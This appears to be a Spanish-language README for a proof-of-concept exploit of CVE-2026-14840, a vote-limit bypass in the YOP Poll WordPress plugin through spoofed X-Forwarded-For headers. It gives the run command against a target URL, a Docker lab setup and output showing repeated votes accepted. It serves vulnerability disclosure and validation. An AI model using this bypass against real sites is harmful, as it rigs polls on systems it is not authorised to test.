
Exploit de prueba de concepto para una elusión del límite de votos de un plugin de WordPress mediante cabeceras X-Forwarded-For suplantadas; incluye un laboratorio Docker para validar el CVE-2026-14840 en instancias de WordPress autorizadas.
Autor: nullwhisper
Uso: solo para investigación de seguridad autorizada / validación de vulnerabilidades.
El plugin YOP Poll en versiones < 7.0.6 aplica un límite de un voto por IP. El problema
es que para obtener la IP del cliente comprueba HTTP_CLIENT_IP y
HTTP_X_FORWARDED_FOR antes que REMOTE_ADDR. Ambas cabeceras están controladas
por el atacante, por lo que un usuario no autenticado puede falsificar una nueva IP en cada petición y
emitir votos ilimitados.
.
├── cve_2026_14840_poc.py # PoC principal
├── lab/
│ ├── docker-compose.yml # Laboratorio WordPress
│ └── setup.php # Crea una encuesta + página de prueba pública
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n es el número de votos a emitir. Si se acepta más de uno, el objetivo
es vulnerable.
El script automáticamente recurre a ?rest_route=/yop-poll/v1/votes cuando el
sitio usa enlaces permanentes simples de WordPress y /wp-json/... devuelve HTML.
Descarga el plugin vulnerable (no redistribuyas el binario del plugin):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Inicia el laboratorio:
cd lab
docker compose up -d
Completa el instalador de WordPress en http://127.0.0.1:8090.
Crea la encuesta y la página de prueba:
docker exec -i lab-wpcli-1 php /tmp/setup.php
Ejecuta el PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Probado en WordPress 6.8 + YOP Poll 7.0.5 con enlaces permanentes simples por defecto.
Misma IP tres veces — el límite funciona:
#1 201 -> Voto registrado con éxito.
#2 403 -> Ya has votado en esta encuesta.
#3 403 -> Ya has votado en esta encuesta.
IP diferente en cada petición mediante X-Forwarded-For — el bypass funciona:
#1 201 -> Voto registrado con éxito.
#2 201 -> Voto registrado con éxito.
#3 201 -> Voto registrado con éxito.
La tabla wp_yoppoll_votes crece una fila por cada IP falsificada, lo que confirma que
el límite por IP se ha eludido.
Este repositorio contiene solo el PoC y los archivos de orquestación del laboratorio. El plugin YOP Poll es GPL-2.0+, pero distribuir una copia completa es innecesario, infla el repositorio y puede causar problemas. Descarga la versión 7.0.5 desde WordPress.org para tu propio laboratorio.
Esta herramienta es solo para pruebas de seguridad autorizadas e investigación. No la uses contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. El autor no es responsable del mal uso o los daños causados por este código.